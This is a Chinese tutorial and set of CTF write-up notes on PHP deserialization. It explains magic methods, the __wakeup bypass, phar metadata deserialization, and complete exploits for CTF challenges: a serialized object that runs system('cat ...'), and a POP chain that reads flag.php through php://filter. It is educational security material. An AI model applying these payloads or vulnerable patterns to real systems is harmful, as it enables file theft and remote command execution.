反序列化相关
反序列化相关
概念
数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串存储在本地,相反的行为称为反序列化
序列化和反序列化目的是是的程序间传输对象会更加方便
相关函数
serialize()
产生一个可存储的值的表示
unserialize()
从已存储的表示中创建php的值
php基础
关于 php 的类与对象
<?php
class test_class{
//变量
public $user = 'yichen';
//打印当前class的变量值
public function print_user()
{
echo $this->user;
}
}
//创建对象
$obj=new test_class();
//调用打印功能
$obj->print_user();
?>
序列化
接下来看一下序列化相关的内容,首先看一下序列化之后的效果
<?php
class user
{
public $name = 'yichen';
public $age = 20;
public function print_data()
{
echo $this->name.' is '.$this->age.' years old<br>';
}
}
$user1 = new user();
$user1->age=21;
$user1->name='y1chen';
$user1->print_data();
echo serialize($user1);
?>
结果:y1chen is 21 years old
O:4:"user":2:{s:4:"name";s:6:"y1chen";s:3:"age";i:21;}
解释:O 表示对象,4 表示对象名的长度,后面跟的是对象名
2 表示里面有两个变量
s 表示变量是字符串,4 意思是变量名有 4 的长度,后面跟着的值的部分表示,一样
i 意思是变量赋的值是整形,值为 21
反序列化
<?php
class user
{
public $name = 'yichen';
public $age = 20;
public function print_data()
{
echo $this->name.' is '.$this->age.' years old<br>';
}
}
$user1 = new user();
$user1->age=21;
$user1->name='y1chen';
$user1->print_data();
echo serialize($user1);
//O:4:"user":2:{s:4:"name";s:6:"y1chen";s:3:"age";i:21;}
$user2 = unserialize('O:4:"user":2:{s:4:"name";s:6:"y1chen";s:3:"age";i:21;}');
echo "<br>";
$user2->print_data($user2);
?>
魔术方法
![{Q9J${2WQL@H5`3X75N6KI.png
接下来我们自己写一下一些魔术方法,然后再调用一下一些函数,看看他们在什么时候调用了这些魔术方法
to_string 条件比较多
(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候
例子
<?php
highlight_file(__FILE__);
echo "<br>";
class magic_test
{
public $data1="yichen";
public $data2="writeup";
public function print_dat()
{
echo $this->data1 . " " .$this->data2 . "<br>";
}
public function __construct()
{//构造函数
echo "__construct<br>";
}
public function __destruct()
{//析构函数
echo "__destruct<br>";
}
public function __wakeup()
{//执行unserialize时调用
echo "__wakeup<br>";
}
public function __sleep()
{//执行serialize时调用
echo "__sleep<br>";
return array("data1","data2");
//__sleep()该函数必须返回一个需要进行序列化保存的成员属性数组
//并且只序列化该函数返回的这些成员属性
}
public function __toString()
{//类被当成字符串时的回应方法
//echo "__toString<br>";
return "__toString<br>";
}
function __call($name, $arg)
{//在对象中调用一个不可访问方法时调用
//不存在的方法名是$name,参数是数组形式
echo "$name<br>";
var_dump($arg);
echo "<br>";
}
function __invoke()
{//调用函数的方式调用一个对象时的回应方法
echo "__invoke<br>";
}
function __get($key)
{//获得一个类中不可访问的成员变量时(未定义或私有属性)
echo "__get<br>";
}
function __set($arg1,$arg2)
{//给一个类中不可访问的成员变量赋值时
echo "__set<br>";
echo "$arg1:$arg2 <br>";
}
}
//创建对象,调用__construct
echo "准备创建对象<br>";
$obj = new magic_test();
echo "创建对象完成<br>";
//序列化对象,调用__sleep
echo "准备序列化对象<br>";
$serialized = serialize($obj);
echo "序列化对象完成<br>";
//类被当成字符串输出,调用__toString
echo "准备输出类<br>";
echo $obj;
echo "输出类完毕<br>";
//类被当成方法调用输出,调用__invoke
echo "准备把对象当作方法调用<br>";
$obj();
echo "把对象当作方法调用完毕<br>";
//输出序列化之后的字符串
echo "打印序列化之后的对象 ";
echo "serialized: ".$serialized."<br>";
echo "打印完成<br>";
//调用一个不存在的方法,调用__call
echo "准备调用不存在的方法hack<br>";
$obj->hack('arg1','arg2',3);
echo "调用不存在的方法hack完毕<br>";
//获得一个类不存在的成员变量时,调用__get
echo "准备访问对象不存在的字段<br>";
$function = $obj->nono;
echo "访问对象不存在的字段完毕<br>";
//获得一个类不存在的成员变量时,调用__set
echo "准备设置对象不存在的字段<br>";
$obj->onon = 123;
echo "设置对象不存在的字段完毕<br>";
//重建对象(反序列化),调用__wakeup
echo "准备反序列化对象<br>";
$obj2=unserialize($serialized);
echo "反序列化完成<br>";
//调用方法
echo "准备调用方法<br>";
$obj2->print_dat();
echo "调用结束<br>";
//反序列化后会额外在调用__destruct
//脚本结束 调用__destruct
?>
执行一下,自己理解理解
注意点
直接变量名反序列化出来的是 public 变量
\x00+类名+\x00+变量名 反序列化出来是 private 变量
\x00+*+\x00+变量名 反序列化出来是 protected 变量
浏览器会不显示,用终端
在对象长度前面可以加符号(+-)
bypass __wakeup(CVE-2016-7124)
当序列化字符串中,如果表示对象属性的个数的值大于真实的属性个数时就会跳过 __wakeup 的执行
例1
<?php
class Filename{
public $filename = 'error.log';
public function __toString(){
return file_get_contents($this->filename);
}
}
class Student{
public $age = 24;
public $name = 'zhao';
public function __toString(){
return 'User ' . $this->name . ' is ' . $this->age . ' years old.
';
}
}
$s1 = new Student();
echo 'Student: '.serialize($s1).'
';
$s2 = unserialize($_GET['s2']);
echo $s2;//直接把反序列化出来的类当作字符串输出
?>
在 student 类这里没啥用,但是可以用 Filename 这个类来读文件
<?php
class Filename{
public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
$a = new Filename();
echo urlencode(serialize($a));
?>
//O%3A8%3A%22Filename%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
这样反序列化出来是 Filename 这个类的对象,echo $2 的时候会去 Filename 这个类的 __toString 方法,就输出了 base64 格式的 flag.php
例2(2020网鼎杯朱雀组_PHPweb)
抓包发现了请求信息
date 是一个 php 的函数,参数后面的,这里可以执行 php 的函数
通过 func=file_get_contents&p=index.php 读取 index.php 的源码如下:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
disable_fun 只对 fun 参数进行判断,没有检查 p 参数,可以用 unserialize 函数,传递一串序列化之后的值
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a = new Test();
echo urlencode(serialize($a));
?>
POPChain
例1(MRCTF2020-Ezpop)
在构造 popchain 时可以直接忽略构造方法,用不到
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke()
{//这个类的对象被当作方法调用时调用
$this->append($this->var);
}
}
//在popchain构造过程中直接忽略__construct
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;//忽略
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}//类被当成字符串时调用
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}//unserialize调用
}
}
// Show.__wakeup -> Show.toString -> Test.__get -> Modifier.__invoke
class Test{
public $p;
public function __construct(){
$this->p = array();//忽略
}
public function __get($key){
$function = $this->p;
return $function();
}//获得一个无法访问的类成员变量时调用
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
exp
<?php
class Modifier
{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}
public function __toString()
{
return "php serialize";
}
public function __wakeup()
{
$this->source = new Show();
}
}
class Test{
public $p;
public function __construct()
{
$this->p = new Modifier();
}
}
$a = new Show('flag.php'); // 初始化参数随便
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo "===\n";
echo urlencode($pop);
//pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Bs%3A8%3A"flag.php"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D
?>
调试
传参进来,首先 unserialize,调用 __wakeup,去正则匹配看看是不是有黑名单里的字符串,第一次匹配的时候 $this->source 是 "flag.php",正常
第二次调用(为啥会调用两次)时,$this->source 已经是一个对象了,这时候会调用 __toString
在 __toString 时 $this -> str 是 Test 类,Test 类中是没有 source 这个成员变量的,会去调用 __get
__get 把 $this -> p 也就是 Modifier 对象当作一个函数来调用,又去调用 __invoke
__invoke 调用了 append 方法成功包含 var,也就是 php://filter/read=convert.base64-encode/resource=flag.php
然后就伪协议输出了 flag.php 的 base64 编码的形式
popchain构造思路
因为 unserialize 首先会调用 __wakeup,所以首先看 wakeup 所在的那个类,Show
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;//忽略
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}//类被当成字符串时调用
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}//unserialize调用
}
}
$this->source 在preg_match 函数中,可以用到的是把对象当成字符串去调用 __toString,所以初步有了想法
$a = new Show('index.php');//构造函数的参数
$b = new Show($a);
在 __toString 中有个 $this->str->source; 能想到的是某个类没有 source 成员变量,从而调用 __get,而 __get 在 class Test
class Test{
public $p;
public function __construct(){
$this->p = array();//忽略
}
public function __get($key){
$function = $this->p;
return $function();
}//获得一个无法访问的类成员变量时调用
}
所以应该把 $a 中的 str 设置为 Test 类的一个对象,同时在 Test 中是希望触发对象被当作函数来调用的去触发 __invoke,所以 p 应该也是一个类的对象,具体是 Modifier,因为 __invoke 在 class Modifier,而它会调用本类的 append 方法,通过 include 函数把 $this->var 包含进来,所以 Modifier 的 var 应该是伪协议的读取 flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke()
{//这个类的对象被当作方法调用时调用
$this->append($this->var);
}
}
所以 exp 是
<?php
class Modifier
{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}//伪协议
class Show
{
public $source;
public $str;
public function __construct($file = 'index.php')
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}
public function __toString()
{//因为构造函数涉及到$this->source,所以会调用__toString,为了不报错随便返回点东西就行
return "ctf";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}//用来触发__invoke
}
$a = new Show();
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo "===\n";
echo urlencode($pop);
?>
利用 phar 拓展 php 反序列化漏洞
https://paper.seebug.org/680
phar 可以在没有 unserialize 函数的情况下去反序列化
将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件
<?php
class TestObject {
public $yichen;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在 manifest 部分。manifest 部分还会以序列化的形式存储用户自定义的 meta-data
php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化执行下面的 php 代码就会触发 __destruct
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
这些函数也会触发